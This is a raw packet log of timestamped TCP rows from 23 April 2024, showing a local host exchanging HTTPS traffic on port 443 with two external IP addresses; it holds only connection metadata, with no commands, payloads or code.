Apr 23, 2024 22:17:13.688473940 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:13.766719103 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:13.766746998 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:13.792165041 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:13.792179108 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:13.932219982 CEST	443	49743	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:13.932300091 CEST	443	49743	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:13.932327986 CEST	49743	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:13.932370901 CEST	49743	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:13.934916019 CEST	49743	443	192.168.2.4	172.67.139.220
Apr 23, 2024 22:17:13.934942961 CEST	443	49743	172.67.139.220	192.168.2.4
Apr 23, 2024 22:17:14.374727964 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.374792099 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.374804020 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.374829054 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.374846935 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.374849081 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.374898911 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.374906063 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.374916077 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.374946117 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.470447063 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.470500946 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.470541954 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.470583916 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.470614910 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.470705032 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.611838102 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.611902952 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.611943007 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.611969948 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.612001896 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.612060070 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.712333918 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.712383032 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.712416887 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.712435961 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.712452888 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.712471962 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.784538984 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.784589052 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.784707069 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.784737110 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.784828901 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.833899975 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.833946943 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.833997011 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.834065914 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.834105968 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.834129095 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.877357960 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.877408028 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.877439022 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.877475023 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.877494097 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.879478931 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.917665005 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.917714119 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.917759895 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.917831898 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.917870045 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.918134928 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.960270882 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.960334063 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.960370064 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.960434914 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:14.960475922 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:14.960506916 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.003755093 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.003809929 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.003850937 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.003920078 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.003967047 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.003967047 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.037708998 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.037763119 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.037806034 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.037854910 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.037888050 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.037910938 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.062551022 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.062599897 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.062622070 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.062689066 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.062704086 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.062763929 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.086759090 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.086806059 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.086837053 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.086847067 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.086886883 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.107494116 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.107561111 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.107594013 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.107626915 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.107657909 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.107731104 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.127635956 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.127682924 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.127724886 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.127743959 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.127774954 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.127793074 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.148108006 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.148132086 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.148215055 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.148236036 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.151504993 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.166403055 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.166424990 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.166510105 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.166510105 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.166529894 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.166636944 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.182791948 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.182812929 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.182874918 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.182882071 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.182917118 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.199758053 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.199778080 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.199821949 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.199830055 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.199850082 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.199873924 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.217158079 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.217180014 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.217230082 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.217276096 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.217305899 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.217327118 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.230386019 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.230406046 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.230472088 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.230487108 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.230535030 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.246390104 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.246411085 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.246452093 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.246469975 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.246479988 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.246506929 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.259552002 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.259571075 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.259614944 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.259646893 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.259670973 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.259686947 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.274327993 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.274347067 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.274391890 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.274405956 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.274447918 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.287590027 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.287610054 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.287656069 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.287669897 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.287694931 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.287714958 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.299495935 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.299514055 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.299554110 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.299575090 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.299595118 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.299612999 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.313051939 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.313071012 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.313113928 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.313127995 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.313142061 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.313159943 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.324440002 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.324460030 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.324513912 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.324527979 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.324543953 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.324558973 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.335613012 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.335632086 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.335680008 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.335694075 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.335706949 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.335728884 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.345805883 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.345824003 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.345866919 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.345885992 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.345907927 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.345927954 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.357027054 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.357047081 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.357167959 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.357189894 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.357300043 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.366214991 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.366234064 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.366282940 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.366301060 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.366319895 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.366339922 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.375956059 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.375973940 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.376036882 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.376050949 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.376097918 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.384619951 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.384639978 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.384689093 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.384702921 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.384748936 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.394388914 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.394414902 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.394460917 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.394476891 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.394494057 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.394512892 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.402343035 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.402364016 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.402448893 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.402462959 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.402504921 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.410937071 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.410957098 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.411015987 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.411036968 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.411375046 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.419504881 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.419523954 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.419634104 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.419642925 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.419756889 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.428328991 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.428349018 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.428392887 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.428402901 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.428422928 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.428443909 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.434973955 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.434993029 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.435043097 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.435050964 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.435089111 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.442420959 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.442440033 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.442498922 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.442508936 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.442543030 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.450463057 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.450481892 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.450517893 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.450527906 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.450567007 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.456733942 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.456753016 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.456792116 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.456798077 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.456841946 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.464219093 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.464251995 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.464379072 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.464387894 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.464423895 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.471359015 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.471379042 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.471426010 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.471435070 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.471481085 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.477149963 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.477171898 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.477251053 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.477261066 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.477557898 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.484141111 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.484162092 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.484221935 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.484230995 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.484606981 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.490014076 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.490031958 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.490077019 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.490088940 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.490109921 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.490130901 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.496306896 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.496325016 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.496386051 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.496411085 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.496553898 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.501933098 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.501957893 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.502023935 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.502034903 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.502079010 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.508322001 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.508341074 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.508394003 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.508407116 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.508434057 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.508451939 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.514229059 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.514249086 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.514288902 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.514302969 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.514328957 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.514365911 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.519599915 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.519618988 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.519673109 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.519685030 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.519715071 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.519737959 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.526293993 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.526313066 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.526360035 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.526374102 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.526401043 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.526427031 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.531199932 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.531219006 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.531251907 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.531263113 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.531287909 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.531306028 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.536354065 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.536371946 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.536413908 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.536425114 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.536453009 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.536472082 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.541393042 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.541410923 CEST	443	49744	95.217.9.149	192.168.2.4
Apr 23, 2024 22:17:15.541440964 CEST	49744	443	192.168.2.4	95.217.9.149
Apr 23, 2024 22:17:15.541451931 CEST	443	49744	95.217.9.149	192.168.2.4
